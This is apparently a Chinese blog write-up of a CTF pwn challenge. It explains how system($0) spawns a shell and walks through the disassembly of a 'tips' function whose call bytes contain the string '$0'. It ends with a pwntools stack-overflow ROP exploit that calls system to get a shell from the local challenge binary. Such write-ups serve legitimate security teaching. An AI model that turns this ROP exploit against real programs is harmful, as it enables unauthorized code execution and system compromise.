ret2text(system($0))

system($0)介绍

在正常的编程或系统使用中,system($0) 本身并不会直接导致获取任何权限。$0 是一个特殊的 shell 变量,它代表当前脚本或程序的名字。在 C 语言中,如果你使用 system() 函数来执行一个 shell 命令,那么传递给 system() 的字符串会被当作 shell 命令来执行。

如果你尝试执行 system($0),你实际上是在尝试执行一个名为当前脚本或程序名字的 shell 命令。这通常没有特殊的权限提升效果,除非该名字恰好指向了一个具有特殊权限的脚本或程序。

权限的提升通常涉及到利用系统漏洞、执行具有更高权限的程序或脚本、或者通过其他机制(如 sudo)以更高权限用户身份执行命令。

例如,在 Unix 或 Linux 系统中,一个用户可能通过配置 sudoers 文件来允许某些用户或用户组以超级用户(root)权限执行特定的命令。在这种情况下,即使一个普通用户运行了一个脚本,该脚本中的 system() 调用也可能以更高的权限执行命令,但这需要 sudo 的配置和用户的显式同意(通常是输入密码)。

如果你听说 system($0) 能够获取权限,那么这很可能是在某种特定的攻击场景或上下文中提到的。在这种情况下,攻击者可能利用了某些特定的系统配置或漏洞来执行恶意代码,并且 system($0) 只是攻击链中的一环。然而,这并不意味着 system($0) 本身具有获取权限的能力;而是攻击者利用了其他条件来实现这一点。

总之,system($0) 本身并不会导致权限的提升。权限的提升通常涉及到更复杂的机制和条件,需要攻击者具备相应的知识和技能。

例题

我们看道例题

经典nx,栈迁移,本该是很简单的一道题,但是涉及到system($0),就难理解了一点点,仅仅是一点点

废话不多说,距离rbp,0x10,填充0x18覆盖rbp,构造ret,这时候我们发现有system函数,没有/bin/sh,怎么办,可能有小伙伴想ret2libc,当然可以,但是太过麻烦,我们发现有的tips函数还没有看

 我们直接进去西索

我们详细分析这串代码:

这段文本是一个反汇编代码片段,它描述了一个名为 tips 的函数或过程的汇编实现。我会为你逐行解释这段代码:

 
.text:0000000000400537 public tips

这行标记了一个名为 tips 的公共符号,表示这是一个可以被其他模块或代码引用的函数或过程。

 
.text:0000000000400537 tips proc near

这行定义了 tips 过程的开始,proc near 表示这是一个近程调用过程(即,它的跳转和调用通常在相同的代码段内)。

.text:0000000000400537 ; __unwind {

这是一个注释,它可能是关于异常处理的元数据或提示,尽管在这段代码中它并不直接影响执行流程。

.text:0000000000400537 55 push rbp

这行代码将当前的基指针寄存器(rbp)的值压入栈中。这通常是为了在函数内部保存原始的栈帧指针。

.text:0000000000400538 48 89 E5 mov rbp, rsp

这行代码将当前的栈指针寄存器(rsp)的值移动到基指针寄存器(rbp)。这是设置新的栈帧的开始/

.text:000000000040053B B8 00 00 00 00 mov eax, 0

这行代码将累加器寄存器(eax)的值设置为0。这通常用于准备返回值或用于其他计算。

.text:0000000000400540 E8 24 30 00 00 call near ptr 403569h

这行代码调用了一个位于地址 403569h 的函数或过程。E8 是调用指令的操作码,而 24 30 00 00 是相对偏移量。

.text:0000000000400545 90 nop

这是一个无操作指令(nop),它什么都不做。它通常用作占位符或用于对齐代码。

.text:0000000000400546 5D pop rbp

这行代码从栈中弹出一个值,并将其放回 rbp 寄存器中。这是函数结束时恢复原始栈帧指针的过程的一部分。

.text:0000000000400547 C3 retn

这行代码是一个返回指令。它将从栈中弹出一个值作为返回地址,并跳转到该地址。这标志着 tips 函数的结束。

.text:0000000000400547 ; } // starts at 400537
.text:0000000000400547 tips endp

这些是注释,标记了 tips 过程的结束,并给出了其开始的地址。

总之,这个 tips 函数似乎很简单:它设置了新的栈帧,可能执行了一些操作(尽管在这段代码中看不到),然后调用了一个位于 403569h 的函数,最后恢复了原始的栈帧并返回。

这里可以使用system($0)来获得shell权限。
首先用垃圾数据填充栈,进行栈溢出,然后将数据放入$0放入rdi中,然后跳到system函数执行。

exp

from pwn import *
    
context(os='linux',arch='amd64',log_level='debug')
p= process('./system0')
elf=ELF('./system0')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ret=0x0000000000400416
rdi=0x00000000004005e3
tip=0x400541
system=0x400430
payload=b'a'*(0x18)+p64(ret)+p64(rdi)+p64(tip)+p64(system)
p.send(payload)
p.interactive()
  • 32
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值